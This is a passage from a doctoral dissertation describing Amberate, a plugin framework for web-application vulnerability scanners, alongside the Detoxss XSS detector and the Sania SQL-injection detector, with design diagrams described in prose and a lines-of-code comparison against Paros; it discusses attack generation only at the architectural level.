is able to generate effective attack codes according to the syntax of a target slot.

As well as the detection of reflected XSS vulnerabilities, Detoxss also detects re-
cent XSS vulnerabilities by simulating page transition flow and browser behavior for
stored XSS and DOM-based XSS. It also detects vulnerabilities against reflected XSS
by dynamically generating effective attacks and investigating the syntax of a target slot
appearing in an HTTP response. In an experiment, by examining 5 real-world web
applications, we compared Detoxss’ vulnerability detection capability with that of 6
existing dynamic analysis tools. We found that our solution was more effective than
the others; Detoxss discovered more vulnerabilities and generated fewer false positives
and negatives. We also found that Detoxss was effective for detecting recent XSS vul-
nerabilities.

Detoxss is able to detect XSS vulnerabilities in HTML, JavaScript, and CSS in the
current implementation. As well as these document formats, there are still numerous
opportunities that XSS can be successful. For example, XSS can be executed on the
response document written in XML, JSON, ActiveX, and VBScript. A Java applet and
a Flash movie can also be used to exploit an XSS vulnerability. From these document
formats, we can apply Detoxss’ vulnerability detection technique to the documents
written in XML, JSON, and VBScript. This is because the content of these documents
are structured text documents. Detoxss can parse these documents and identify the
syntax of a target slot if an attack code appears in these documents. We will plan to
extend the Detoxss technique to detect vulnerabilities in these documents.
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Chapter 6

A FRAMEWORK FOR WEB
APPLICATION SCANNERS

As web technologies evolve, many new attacks on web applications have appeared
and several vulnerability scanners have been released for detecting vulnerabilities to
these attacks. Most of these vulnerability scanners such as [98, 97] are designed to
discover vulnerabilities to a specific type of attack and do not support extensibility
in detecting other types of vulnerabilities. Other vulnerability scanners such as [42,
96, 74] support a plugin system for extensibility. Although they provide plugins with
many useful functions in facilitating a new vulnerability detection technique such as
functions for capturing HTTP packets and sending attacks, it is still difficult for the
auditors to enhance the precision by customizing attack codes for each web application
as introduced in the previous sections. To realize this even when a framework does not
support any function for customizing attack codes, the auditors are required to program
complicated mechanism of the customization.

In this chapter, we present Amberate, a framework for web application vulnerability
scanners, which supports a plugin system to facilitate new vulnerability detection tech-
niques. Amberate encapsulates functions commonly used for vulnerability detection
techniques, and provides Application Programming Interfaces (APIs) for implement-
ing functions which need to be implemented for each vulnerability detection technique.
We demonstrated the ease of extending a new vulnerability detection technique by com-
paring the actual lines of code for adding a new plugin of the Amberate with that of an
existing vulnerability scanner. This result revealed that Amberate plugin required 500
fewer lines of code, which accounts for 82 percent of lines of code of the plugin for the
other scanner.
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6.1 Amberate
Amberate is a framework for web application vulnerability scanners that supports an
extensible plugin system for implementing new vulnerability detection techniques. For
facilitating new vulnerability detection techniques, Amberate abstracts several func-
tions commonly used in several vulnerability detection techniques and provides APIs
for functions which need to be implemented for each detection technique.

Amberate performs two detection techniques; penetration-test and response-analysis.
A penetration-test is a technique that sends attacks to a web application and discover
vulnerabilities from the output of the web application. With this penetration-test tech-
nique, the same functions as Sania and Detoxss perform can be implemented on Am-
berate. A response-analysis is a technique that analyzes the response document that the
web application generates in reply to an innocent request, without sending attacks. We
implemented a new vulnerability detection technique against JavaScript Hijacking.

6.1.1 Architecture
Amberate is designed to be a support tool used by web application developers during
the development and debugging phases of web applications. Since Amberate mainly
works under off-line environment, the user of Amberate can avoid dangerous activities
to other web applications that are tightly connected with the target web application,
such as sending attacks to web applications that are already providing services in the
real world. This design has also a good feature for testing the target web application.
Amberate can use more detailed information provided by the auditor about the web
application than just testing with information that can only be captured externally. For
example, this design allows Amberate to capture SQL queries issued from the web
application to the back-end database.

In general, a web application dynamically generates outputs, such as an HTTP re-
sponse and an SQL query, in reply to a user-supplied input or a parameter appearing
in an HTTP request. Amberate supplies this HTTP request as an input for the web ap-
plication and receives the output. For capturing these input and output, Amberate uses
proxies. An HTTP proxy is used for capturing HTTP requests and responses flowing
between the browser and web application. An SQL Proxy is used for capturing SQL
queries between the web application and database.

The proxies used in vulnerability detection is chosen according to the attack types to
test. For example, since the vulnerability detection technique for XSS analyzes HTTP
requests and responses, Amberate only launches an HTTP proxy. For SQL injection,
since the vulnerability detection technique analyzes HTTP requests and SQL queries,
Amberate launches both an HTTP proxy and an SQL proxy. Proxies uses can be chosen
from the plugins that were implemented with application programming interface (API)
that Amberate provides.
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Figure 6.1: Vulnerability detection workflow with penetration-test and response-
analysis

6.1.2 Software Overview
Amberate provides two types of vulnerability detection techniques; penetration-test and
response-analysis. The penetration-test is a technique that discovers vulnerabilities by
generating and sending attacks. On the other hand, response-analysis is a technique
that detects vulnerabilities by analyzing the output that web application issued, without
sending attacks.

Figure 6.1 shows the overview of both penetration-test and response-analysis de-
tection techniques. The penetration-test technique is composed of preparation phase
and detection phase. In the preparation phase, Amberate requests the user with his web
browser to send an innocent HTTP request that does not contain any malicious attack
code. Then, Amberate captures the HTTP request and the web application output such
as the HTTP response and SQL query. By using these packets, Amberate executes the
following 4 steps.

1. Identifying target slots
Amberate provides plugins with a function for identifying target slots into which
an attack code is injected. For example, the plugin designed for detecting XSS
vulnerabilities accepts user-supplied inputs, cookies, and other variables in an
HTTP request as target slots.

2. Generating attack code
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Amberate provides plugins with a function for generating attack codes that will
be embedded into target slots. The XSS vulnerability detection plugin, for exam-
ple, analyzes the syntax of each target slot in the HTTP response. If the HTTP re-
sponse contains an HTML document, Amberate can identify the syntax by check-
ing if the target slot appears as an attribute (e.g., of <font color=‘ø’>) or a
text. XSS plugin generates attack codes according to the syntax.

3. Sending attack requests
Amberate embeds an attack code into the innocent HTTP request, which we call
an attack request. The attack request is sent to the web application and Amberate
receives the output.

4. Checking vulnerabilities
The penetration-test process steps in the detection phase and Amberate provides
plugins with a function for checking vulnerabilities. In the XSS vulnerability
detection plugin, the HTTP response generated in reply to the attack request is
checked to see if the attack code is successfully injected. If so, Amberate evalu-
ates that it is a vulnerability.

Within these four steps, Amberate encapsulates the function of sending attack requests
because it is commonly used by other penetration-test plugins. Since the other three
steps are dependent on each vulnerability detection technique, Amberate invokes the
API implementation of each plugin.

On the other hand, the response-analysis technique does not have phases, such as the
preparation and detection phases of the penetration-test technique (Figure 6.1). After
receiving the output of the web application generated in reply to an innocent HTTP
request, a response-analysis plugin checks for vulnerabilities. In this technique, plugins
only need to implement the checking process and Amberate automates other steps such
as sending requests and receiving responses.

After the step of identifying target slots in the penetration-test technique and captur-
ing innocent HTTP requests in the response-analysis technique, Amberate requests the
user to give the signal for starting the vulnerability detection test. In the current imple-
mentation, by clicking the scan button, Amberate starts the step of generating attacks
in the penetration test and that of checking vulnerabilities in the response-analysis.

Figure 6.2 shows a screenshot of Amberate vulnerability detection testing. This
screenshot was taken when Amberate captured innocent HTTP requests and the re-
sponses from a subject web application prepared in the off-line environment. This web
application is vulnerable to XSS, in which we can inject an arbitrary script into the title
of a web page (inside the <title> tag in the HTML page). Amberate can discover this
vulnerability by the penetration-test. Figure 6.3 shows a screenshot of the window that
displays attacks Amberate sent to the web application. In this screenshot, OK is shown
when an attack is not successful, otherwise vulnerable is shown.
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Figure 6.2: Amberate working overview
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Figure 6.3: Screenshot of Amberate vulnerability detection
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Figure 6.5: Design of Amberate
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After the vulnerability detection finishes, Amberate generates a test result report in
HTML as shown in Figure 6.4. This report shows an XSS vulnerability was discovered,
in which Amberate succeeded in injecting 29 patterns of attack codes shown in CODE
into the in-title parameter shown in PARAM.

6.2 Design of Amberate
A vulnerability scanner is desired to have a function for adding new vulnerability de-
tection techniques for newly invented attacks. Amberate is designed to be extensible
by adding new plugins, so that it can detect new types of attacks and other additional
functions.

Table 6.1: Amberate Components
Package Component Role

core

Main Launch and terminate Amberate
PluginManager Lauch and terminate plugins
ProxyManager Manage proxies
Facade Pass captured packets to audit package

SessionObserver Manage preparation and detection phases
proxy Proxy Proxy interface
option Option Extend functions unrelated to attacks

audit

code-
CodeValidator Interface for response-analysis technique

Validator
plug- TargetDetector Identify target slots
gable AttackGenerator Generate attack codes

attack- VirtualAttacker Send attack request and receive the response
Tester Validator Check vulnerabilities

Singular Execute singular attacks
Combination Execute combination attacks
AuditUtis Share functions with other audit plugins

6.2.1 Plugins
Amberate provides APIs for extending its functionality to create new vulnerability de-
tection techniques. The APIs are categorized in packages by its role to be extended.
Figure 6.5 shows the packages and main components that Amberate already supports,
and their roles are shown in Table 6.1.

The main packages are the core and pluggable packages for Amberate’s core
functions and extensible functions. The components in the core package is equipped
with basic launching and terminating functions as well as a function for managing
plugins. The pluggable package provides APIs that can be used by plugins. The
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pluggable package has sub-packages classified by the functions to be added. For
example, the proxy package manages proxies, the option package manages option-
ally extensible functions unrelated to vulnerability detection techniques. The audit
package has functions related to vulnerability detection techniques, and is also com-
posed of the attackTester sub-package for penetration-test and the codeValidator
sub-package for response-analysis vulnerability detection technique.

Separating the entity part of a plugin from its behavior part enhances the reusabil-
ity of the plugin because the specification modification of either of the two parts in
the plugin does not affect the implementation of the other. The entity part of a plu-
gin implements the Plugin interface for being launched by the activate method and
terminated by the close method defined in the PluginManager class in the core
package. The behavior part defines the plugin’s action by implementing APIs prepared
in the proxy, option, audit packages in the pluggable package. In Figure 6.6,
ConcretePlugin that implements the Plugin interface becomes the entity of the plu-
gin, and ConcreteProxy that implements the Proxy interface in the proxy package
becomes the behavior of the plugin.

Figure 6.7 shows a class diagram of Amberate to which plugins are attached. Note
that part of the figure also includes the content about a penetration-test plugin dis-
cussed in the next clause. In this figure, Amberate loads plugins for an HTTP proxy,
an SSL proxy, and a penetration-test against SQL injection. The three plugins extend
AbstractPlugin class that implements the Plugin interface to be loaded by Amber-
ate.

6.2.2 Proxy Plugin
A proxy plugin is designed to implement the Proxy interface provided in the proxy
package, and is launched and terminated through the Proxy interface by ProxyManag-
er in the core package. Figure 6.6 illustrates the attachment of ConcreteProxy.
The AbstractProxy that is the parent class of the ConcreteProxy class encapsulates
the processes for opening and closing sockets and for attaching timestamps and incre-
mental numbers that indicate the order of the captured packets. The timestamps and
the incremental numbers are later used for executing stored types of attacks. With this
mechanism, the ConcreteProxy can work only by implementing the runmethod with
the function that each proxy actually works for.

In Figure 6.7, the HTTP and SQL proxies are separated into the entity parts of
their plugins as HttpProxyPlugin and SSLProxyPlugin classes, and behavior parts
as HttpProxy and SSLProxy classes. Since the SSL proxy can utilize most of the
functions of the HTTP proxy, the SSLProxy class extends the HttpProxy class. But,
since these plugins are loaded individually by Amberate, the entity parts (HttpProxy-
Plugin and SSLProxyPlugin) have no relationship with these plugins.
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Figure 6.6: Pluggable package and plugin loading

6.2.3 Penetration-test Plugin
A penetration-test plugin can be implemented with functions provided in the attack-
Tester sub-package in the audit package. By implementing a penetration-test tech-
nique with APIs provided in this package, the vulnerability detection techniques imple-
mented on Sania and Detoxss can also be implemented on Amberate.

6.2.3.1 Design of Penetration-test Plugin

The attackTester package provides the four functions (identifying target slots, gen-
erating attacks, sending attack requests, and checking vulnerabilities) for implement-
ing penetration-test as described in Section 6.1.2. Amberate defines these four func-
tions as components (TargetDetector, AttackGenerator, VirtualAttacker, and
Validator) as shown in Figure 6.5. These components can be implemented by using
APIs defined in the AttackAuditor class that extends the Auditor interface as shown
in Figure 6.8. The Auditor interface is a super-class that conducts vulnerability detec-
tion on Amberate. Note that, as well as a penetration-test plugin, a response-analysis
plugin is also required to implement this interface to execute vulnerability detection
test.

The AttackAuditor provides the four functions in penetration-test as follows.

• Identifying target slots
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Figure 6.7: Class diagram of Amberate and plugins for proxies and penetration-test

The TargetDetector invokes the identifyTargets method in the Attack-
Auditor interface.

• Generating attack codes
After the scan method defined in the AbstractAttackAuditor class that ex-
tends the AttackAuditor class is invoked, the createAttacks method in the
AuditStrategy interface is invoked for generating attack codes.

• Sending attack requests
The VirtualAttacker automatically sends attacks and receives responses.

• Checking vulnerabilities
The Validator invokes the checkVulnerability method in the Attack-
Auditor interface.

Since the process of sending attack requests is commonly used by different vulnera-
bility detection techniques, Amberate encapsulates the VirtualAttacker that is in
charge of this process. Thus, the developer of a penetration-test plugin only needs to
implement the function for identifying target slots (identifyTargets method pro-
vided in the AttackAuditor), the function that checks to see if an attack was suc-
cessful (checkVulnerability method also provided in the AttackAuditor), and
the function for generating attack codes, which is done by extending a sub-class of
AuditStrategy.
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Figure 6.8: Mapping of a method for each penetration-test component

6.2.3.2 Support for several attack variants

As described in Chapter 2, a combination attack as well as a singular attack is available
in SQL injection and XSS. As these types of attacks have several variants, many func-
tions can be commonly used. Reusing the same functions reduces the effort needed by
the plugin developers to implement them. In SQL injection, both singular and combi-
nation attacks judge the success of an attack by checking to see if the structure of an
SQL query is different from another. Thus, the process for checking vulnerabilities can
be shared between these two variants of SQL injection.

The AttackGenerator providing a function for generating attack codes compos-
ites the AttackStrategy interface. The AttackStrategy interface is designed to
form the well-known Strategy pattern of programming design patterns, so that the
plugin developer can implement several variants of attack code generation patterns,
such as singular and combination in the example of SQL injection. To automatically
execute each of the attack techniques, Amberate prepares AbstractAttackAuditor
class that implements the AttackAuditor interface. By registering each sub-class of
the AuditStrategy interface to the AbstractAttackAuditor class, Amberate in-
vokes the createAttacks method implemented in each sub-class. In Figure 6.8, the
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Singular and Combination classes implement the AuditStrategy interface and are
used by the ConcreteAuditor that extends the AbstractAttackAuditor. When the
scan method defined in the AbstractAttackAuditor is invoked, Amberate executes
the createAttacks methods in Singular and Combination classes for generating
attack codes.

6.2.3.3 Support for Stored Attacks

A stored attack is an attack in which a web application stores a user-supplied input
persistently on the server, and later the web application generates an output containing
the user input. For example, in SQL injection, after an attack code is stored in the
web application, an SQL query is issued to the database in reply to another HTTP
request. For detecting vulnerabilities against stored attacks, a plugin implementing the
AttackAuditor interface can refer to all pairs of HTTP requests and web application
outputs as well as the first pair of an innocent HTTP request and the output. Since the
identifyTargetsmethod in the AttackAuditor interface handles all these requests
captured in the preparation phase, a plugin is able to identify target slots for the stored
attack. In addition, since the checkVulnerability method is also invoked for each
of the subsequent web application outputs as well as the first output in reply to attack
request, Amberate is able to detect the output into which the attack code is embedded.

In this mechanism, Amberate is required to be able to receive the subsequent web
application output in which the embedded attack code appears, even when the out-
put appears after several requests triggers the other outputs. For such situation, the
AbstractProxy assigns a number to each pair of an innocent request and its output in
ascending order. By specifying the number of the innocent request into which an attack
code is embedded and that of the output on which the embedded attack code appears,
the VirtualAttacker sends the attack request and also subsequent requests that have
smaller numbers than that of the specified output. In this way, by sending a sequence
of requests, Amberate can receive the output of interest.

6.2.3.4 Support for Attacks with Multi-threading

Since a web application generates the output in reply to an HTTP request, a plugin
for detecting vulnerabilities needs to identify a pair of request and output, so that the
plugin is able to learn what the request triggered in the process of creating the output
at the web application. If the output can be easily identified even when several attacks
are sent at a time, Amberate can run multi-threaded tests in which attacks are sent
concurrently for reducing the entire test time. For example, since a set of HTTP request
and response is handled on a single socket, Amberate can execute quick tests with
multi-threaded tasks for XSS. But in the SQL injection example, Amberate needs to
capture SQL queries with a single-thread task because Amberate can not identify which
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HTTP request triggered the issue of an SQL query if many requests are sent. In this
way, the use of multi-threaded tasks is dependent on the type of an attack.

In Amberate, a multi-threading task can be easily activated in penetration-test plu-
gins because the VirtualAttacker class implements java.lang.Runnable. In the
case where a single-threading task is required such as the case of SQL injection shown
above or for a debugging purpose, the developer is able to temporarily switch it to
single-threading mode by just changing a boolean value. Figure 6.7 shows that the
boolean value is defined as a variable named multiThread in the AbstractAttack-
Auditor class that implements the AttackAuditor interface.

In addition, since the AbstractAttackAuditor class encapsulates several com-
plicated programming manners in multi-threading such as handling of shared variable
in critical regions, the developer of a plugin can easily switch the thread mode. When
the VirtualAttacker receives the response generated in reply to an attack request, it
notifies that to the AbstractAttackAuditor. Then, the AbstractAttackAuditor
temporarily enforces mutual exclusion and hides this process from other processes, so
that the developer can alleviate the burden of implementing complicated program.

6.2.3.5 Application of Penetration-test Plugin

For implementing a penetration-test plugin, we transplanted Sania, our vulnerability
detection technique against SQL injection introduced in Chapter 4. Figure 6.7 shows
a class diagram of Amberate with the plugin for detecting SQL injection vulnerabili-
ties. The SQLInjectionPlugin class that implements the interface for vulnerability
detection (AuditPlugin) is the entity part of the plugin, and the behavior part is im-
plemented as SQLInjectionAuditor that implements the AttackAuditor interface.

The attackTester package prepares AbstractSingular and AbstractCombi-
nation classes for easily facilitating the functions of singular and combination attacks.
Since these classes encapsulate the createAttackRequest method that is used for
embedding attack codes into HTTP requests, attack requests can be automatically gen-
erated by implementing the createAttacks method that generates attack codes. By
extending these abstract classes, Amberate provides singular (SQLInjectionSingu-
lar) and combination (SQLInjectionCombination) attacks in Figure 6.7.

6.2.4 Response-analysis Plugin
The function for vulnerability detection with response-analysis is provided by Code-
Validator component in the the codeValidator package. With this function, we im-
plemented new vulnerability detection plugins against JavaScript Hijacking and UTF-7
XSS on Amberate.
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Figure 6.9: Class diagram of the audit package with response-analysis plugins

6.2.4.1 Design of Response-analysis Plugin

Some types of web application vulnerabilities can be discovered only by inspecting the
structure of an HTTP request and the response. In JavaScript Hijacking [112], we can
judge the existence of a vulnerability by checking to see if there is an infinite loop or
an exception throw at the beginning of the JSON-format data. Since the JSON data can
be received as an HTTP response, we can check the vulnerability only by analyzing the
response. In addition, a vulnerability of UTF-7 XSS [18] can be checked to see if a
user-supplied input appears around the head of the response HTML document. Thus,
by extracting the user-supplied input from the innocent HTTP request and inspecting
the point where the input appears, we can detect the vulnerability.

Although vulnerability detection with penetration-test performs three common tasks
realized with TargetDetector, AttackGenerator, and Validator components as
shown in Figure 6.8, the response-analysis technique does not have a set pattern of
tasks. Because of this reason, Amberate only provides a component, CodeValidator,
which will become the interface for implementing response-analysis vulnerability de-
tection plugins. Figure 6.5 shows that plugins for JavaScript Hijacking and UTF-7 XSS
are implemented by extending this component.

Since we can not define a set pattern of tasks for response-analysis technique, plu-
gin developers need to implement most of the tasks for each vulnerability detection
technique. For reducing the burden of implementation, Amberate provides Audit-
Utils component for sharing functions with other plugins. We describe the details of
AuditUtils in Section 6.2.5.
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6.2.4.2 Implementation of Response-analysis Plugin

Figure 6.9 shows a class diagram of Amberate with plugins for detecting JavaScript Hi-
jacking vulnerabilities and SQL injection. The JSHijackPlugin class that implements
the interface for vulnerability detection (AbstractAuditPlugin) is the entity part of
the plugin for detecting JavaScript Hijacking vulnerabilities. The behavior part of the
plugin extends the AbstractCodeValidator class provided in the codeValidator
package. Since the AbstractCodeValidator class encapsulates the methods defined
in the Auditor interface, the JSHijackAuditor class is only required to implement
the scanmethod for executing its vulnerability detection technique. On the other hand,
the SQLInjectionAuditor class that performs penetration-test extends the Attack-
Auditor class and implements APIs for identifying target slots (identifyTargets)
and checking vulnerabilities (checkVulnerability).

6.2.5 Other Plugins
Amberate also provides plugins for supporting vulnerability detection functionalities.
In this Section, we introduce the AuditUtils and Option plugins.

The AuditUtils plugin is a plugin that shares functions with other vulnerability
detection plugins. For example, both of the penetration-test plugin for detecting XSS
vulnerabilities and the response-analysis plugin for detecting JavaScript Hijacking vul-
nerabilities need to parse HTML pages received as HTTP responses. These plugins
can share an HTML parser by registering a plugin for the parser to the AuditUtil
component.

A new function unrelated to vulnerability detection can be added to the Option
component provided in the option package. A Reporting component that gener-
ates test reports in HTML or XML format and the RSS component that generates re-
ports in RSS format are shown in Figure 6.5. These optional components are called
by the SessionObserver component in core package before finishing tests and the
Reporting and RSS plugins generate test result reports.

6.3 Comparison with the Existing Scanners
As web application attacks evolve, vulnerability scanners against them also need to
improve their detection techniques to eliminate newly appeared vulnerabilities. Many
existing vulnerability scanners against web applications, however, support only a few
types of attacks because they do not have a plugin system. In this section, we com-
pare the functions of Amberate with those of existing vulnerability scanners that have a
plugin system. In this comparison, we needed to inspect the mechanism of each vulner-
ability scanner to know the cause of a success or a failure in detecting a vulnerability.
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For this purpose, we only used vulnerability scanners of which source code is pub-
licly open. In addition to some commercial scanners that prohibit reverse-engineering
against them according to their software guidelines, we can not also use other commer-
cial scanners because they are evaluation versions limited to use to their test websites.

6.3.1 Comparison of Framework Support
Both Amberate and the existing vulnerability scanners provide basic functions for
inspecting the existence of vulnerabilities such as capturing HTTP requests and re-
sponses, and they also provide plugins with APIs for implementing concrete tasks for
detecting vulnerabilities. The existing vulnerability detection scanners that support plu-
gin system [42, 96, 74] only have an interface that corresponds to the codeValidator
with which Amberate executes response-analysis vulnerability detection technique. Al-
though the codeValidator does not provide much functionality, it provides a lot of
flexibility and plugins can be implemented for any type of vulnerability detection tech-
nique. However, implementation for penetration-test is still a burden to the plugin
developer.

For example, Paros [42] and w3af [96] provide functions corresponding to Am-
berate’s VirtualAttacker component for sending an attack request to web appli-
cation and receive the HTTP response. Different from Amberate, they have neither
TargetDetector nor AttackGenerator component, thus they execute obviously un-
successful attacks on each target slot and have a restriction that they can only implement
one strategy for generating attacks. For executing the same vulnerability detection as
Amberate performs, the existing scanners are required to facilitate each plugin with
functions for customizing target slots and making different attack generation strategy
corresponding to Amberate’s AuditStrategy.

On the other hand, Amberate provides APIs for penetration-test in the attack-
Tester package. With this API, a plugin developer can create a new plugin by imple-
menting techniques for identifying target slots, generating attack code, and checking
vulnerabilities. Since these three steps encapsulate the functions commonly used in
different vulnerability detection techniques, the developers relatively easily implement
functions for them.

Although Amberate only supports vulnerability detection with dynamic analysis,
there is a case where Amberate can support the dynamic analysis part of a combined
technique of dynamic and static analyses. For example, a combined technique such
as [113, 114] generates an attack in the static analysis phase and sends the attack to the
web application running on a simulator in the dynamic phase. In this combined tech-
nique, Amberate can work on the dynamic analysis phase for checking vulnerabilities
in the situation where the target web application runs under the same environment as it
gives services in the real world, not on the simulator. On the other hand, a combined
technique such as [59] executes a pseudo code generated from flow-analysis on their
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Table 6.2: Lines of code of Amberate’s XSS plugin and Paros with the same functions
Scanner name LOC

Amberate 2174
Paros 2647

interpreter, and injects an attack code to the running pseudo code without running the
web application. In this type of technique that requires their original execution envi-
ronment such as the interpreter, since Amberate does not provide support for executing
attack code on those environment, the plugin developer needs to program support for
such an environment.

6.3.2 Comparison of the Ease of Creating New Plugins
In contrast to Amberate, if a vulnerability scanner does not provide APIs for identifying
target slots and checking vulnerabilities, the developer of a plugin needs to write a lot of
lines of code for facilitating the functions. To know the burden of implementing them,
we compared the actual lines of code of the Amberate XSS vulnerability detection plu-
gin with those of a Paros plugin on which we transplanted the same functionality as the
Amberate one. In this comparison, there is no difference in lines of code derived from
programming language, since Amberate and Paros are both implemented in Java. We
need to note that we could not transplant a vulnerability detection technique for stored
XSS attacks as introduced in 6.2.3.3 to Paros. The technique of XSS vulnerability de-
tection needs to use the subsequent pairs of HTTP requests and responses as well as
the first innocent pair. However, since the API that Paros provides only support to use
a pair of an HTTP request and the response, we could not transplant the functions for
detecting vulnerabilities for stored XSS attacks.

Table 6.2 shows lines of code of the Amberate’s XSS vulnerability detection plugin
and the Paros’ plugin to which we transplanted Amberate XSS plugin. The lines of
blanks and comments are excluded from the count. From this result, Paros is required
to write around 500 more lines of code than Amberate is, which is making up 22 per-
cent of all the program of Amberate. In other words, the Amberate plugin could be
implemented only with 82% of the lines of code of the Paros plugin.

As described previously, Paros only provides codeValidator and the plugin de-
veloper needs to implement the scan method defined as follows.

scan(HttpMessage msg, String param, String value);

A pair of an HTTP request and the response is stored in the argument msg, and the
name and value of a target slot of interest is stored in the param and value argument,
respectively. By invoking the following method with these arguments, Paros embeds
an attack code to a request, sends it to web application, and receives the response.
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setParameter(msg, param, ATTACK_CODE_1);
sendAndReceive(msg);

This program embeds ATTACK_CODE_1 into the parameter specified with the param
parameter for sending an attack.

We encountered the following problems when transplanting the Amberate XSS plu-
gin to Paros:

• Difficulty in generating attack codes for combination attacks
Paros provides plugins with information about only one HTTP parameter into
which an attack code is embedded. The HTTP parameter of interest is passed
as an argument of the scan method. Since a combination attack uses several
HTTP parameters, the plugin developer needs to implement functions for ex-
tracting other HTTP parameters from the HTTP request specified in the msg ar-
gument.

• Inability of vulnerability detection of stored attacks
As described at the beginning of this section, we could not implement the Am-
berate’s XSS vulnerability detection technique on Paros. Paros is designed to
provide plugins with only a pair of an innocent HTTP request and response with
the msg argument, but not with the subsequent requests and responses. Since
plugins cannot reach out to them, we could not implement the vulnerability de-
tection technique for stored XSS attacks. Many commercial scanners have been
reported to not be able to discover stored attack vulnerabilities [10] and is thus a
challenge for existing vulnerability scanners.

The lines of code in Paros is larger than that of Amberate, even though the vul-
nerability detection technique of stored attacks was not implemented on Paros. This is
mainly because, for the purpose of support combination attacks, we needed to imple-
ment the functions for extracting parameters other than param as well as that equivalent
to AttackStrategy.

6.4 Summary
In this chapter, we presented Amberate a framework for web application vulnerabil-
ity scanners. Amberate supports a plugin system that facilitates the addition of new
vulnerability detection techniques by encapsulating functions commonly used in every
vulnerability detection technique, and by providing API for implementing functions
different in each vulnerability detection technique. We demonstrated the ease of ex-
tending a new vulnerability detection technique by comparing the actual lines of code
of a plugin that was implemented on Amberate with that implemented on an existing
popular vulnerability scanner. The result revealed that fewer lines of code was required
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for Amberate than the other, and also showed that Amberate supports APIs for detecting
a type of vulnerability that the other does not.

The penetration-test technique that Amberate supports is different from that sup-
ported by the existing vulnerability scanners. Although the penetration-test technique
is also supported on the existing vulnerability scanners, their penetration-test tech-
niques do not support dynamic attack generation. They only provide an API for launch-
ing a vulnerability detection technique implemented on its plugin, as the same as the
response-analysis technique in Amberate, although the purpose of this API in Amber-
ate is for executing vulnerability detection only by investigating the output that a web
application generates in reply to an innocent request, without sending attacks. To im-
plement dynamic attack generation with this API, the plugin developers are required to
program a lot of lines of code. Amberate is useful for reducing this burden from the
plugin developers.

Currently, the vulnerability detection technique implemented on Amberate is not
made public to avoid additional insecurities. This decision is in accordance with guide-
lines set by the Japanese government. Under this circumstance, we have used Amberate
for detecting vulnerabilities in several web applications in the real world, in agreement
with the web application developers. For example, we performed vulnerability de-
tection test on Japanese Open Government Lab website [115] hosted by Ministry of
Economy, Trade and Industry, Japan, in July, 2010. The activity with Amberate is
introduced in a technology blog such as Techzine.jp [116]. In academic research, Am-
berate is extended in our laboratory and a new vulnerability detection technique has
been developed on Amberate [117].
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Chapter 7

CONCLUSION

This dissertation presented research on the vulnerability detection that performs dy-
namic analysis. Our approach performs efficient and precise vulnerability detection
according to each web application. By analyzing the syntax of the point into which
an attack is injected, our technique is able to generate only effective attacks as well as
to prevent making useless attacks. We implemented prototypes Sania and Detoxss for
discovering vulnerabilities against SQL injection and Cross-site Scripting (XSS). We
also present Amberate a framework for web application vulnerability scanners, which
supports the plugin system to facilitate a new vulnerability detection technique.

In this chapter, we conclude this dissertation by summarizing our contributions. In
addition, with the approach proposed in this research, there are numerous areas where
our approach can be applied and incremental improvements can be made. We discuss
them as future direction for extending our approach to detect other types of vulnerabil-
ities.

7.1 Summary of Contributions
This research proposed an efficient and precise vulnerability detection technique by
dynamically generating malicious strings according to each web application. The con-
tributions lead to improvements in precision that used to be a problem in the existing
vulnerability scanners.

The first contribution is the vulnerability detection technique that dynamically gen-
erates malicious strings according to the syntax of each point where they appear in the
web application output, such as an HTTP response or SQL query. Since an attack alters
the syntactic structure of web application output, this syntax-aware approach is effec-
tive in generating only effective attacks as well as preventing making useless attacks
that can never be successful, while existing vulnerability scanners attempt to inject pre-
defined attack codes without considering the syntax of the point into which the attack
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codes appear. Thus, our approach is able to improve the precision of vulnerability de-
tection with dynamic analysis. Additionally, in our approach, an attack is generated by
referencing to the attack rule that can be defined for each grammar of web applications
output, so that web applications do not need to prepare the rules for generating attack
codes.

The second contribution is the development of prototypes Sania and Detoxss for
vulnerability detection techniques against SQL injection and XSS. We demonstrated
that these techniques detected more vulnerabilities and performed more efficient testing
than existing popular vulnerability scanners do. In Sania, by capturing SQL queries and
investigating the syntax of potentially vulnerable slots in the SQL queries, it dynami-
cally generates precise, syntax-aware attacks. We evaluated Sania using real-world web
applications and Sania was found to prove effective. It found 124 SQL injection vulner-
abilities and generated only 7 false positives when evaluated. In contrast, an existing
web application scanner found only 5 vulnerabilities and generated 66 false positives.
In Detoxss, it also dynamically generates effective attacks for XSS by investigating the
syntax of an attack code appearing in a response. In an experiment, by examining 5
real-world web applications, we compared vulnerability detection capability with that
of 6 existing dynamic analysis tools. We found that our solution was more effective
than the others; Detoxss discovered more vulnerabilities and generated fewer false pos-
itives and negatives. In our empirical study, we discovered 131 vulnerabilities in total
in web applications currently in service and open source web applications.

Another contribution of this research is the development of Amberate a framework
for web application vulnerability scanners that enables to easily add a new vulnerability
detection technique. Amberate encapsulates functions commonly used for vulnerabil-
ity detection techniques that perform dynamic analysis, and provides Application Pro-
gramming Interfaces (APIs) for implementing functions different by each vulnerability
detection technique. We demonstrated the ease of adding a new vulnerability detection
technique by comparing the actual lines of code for adding a new plugin of the Am-
berate with that of an existing vulnerability scanner. This result revealed that Amberate
plugin required 500 fewer lines of code, which accounts for 82 percent of the lines of
code of the plugin for the other scanner.

With these contributions, our approach supports precise vulnerability detection and
the ease of extending a new vulnerability detection technique. This is helpful for vul-
nerability auditors who are bothered by the number of false positives/negatives that the
existing vulnerability scanners produce. The precise vulnerability detection proposed
in our approach is able to reduce their laborious tasks.
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7.2 Future Directions
There are numerous opportunities for research on adapting our approach to other in-
jection types of attacks as well as SQL injection and XSS. Still in the same way as
SQL injection and XSS, other injection attacks also exploit a vulnerability by injecting
an attack code into the web application output for the purpose of altering the syntactic
structure of the resulting web application output. For example, LDAP injection and
XPath injection exploit vulnerabilities in the syntactically formatted documents writ-
ten in LDAP and XPath grammar. By generating attack codes according to the syntax
of each point where an attack code appears in these documents, our approach seems
available to perform precise vulnerability detection against these attacks.

Besides the injection type of attacks, there are also a number of attacks of which vul-
nerabilities can be discovered by the response-analysis technique introduced in Amber-
ate. Currently, vulnerability detection techniques against session fixation and cross-site
request forgery (CSRF) have been already implemented with response-analysis tech-
niques on Amberate by a member of sslab in Keio University. These attacks exploit
session management flaws at the server side. Session fixation forces a client to use a
session that the attacker prepared, and CSRF makes a client execute a legitimate action
at attacker’s will while the client is still in his own session. Since the security of this
kind of session management can be checked by attempting to request a certain action
without sending an attack, such as login and posting, the response-analysis technique
is effective for checking the existence of vulnerabilities against these attacks. We apply
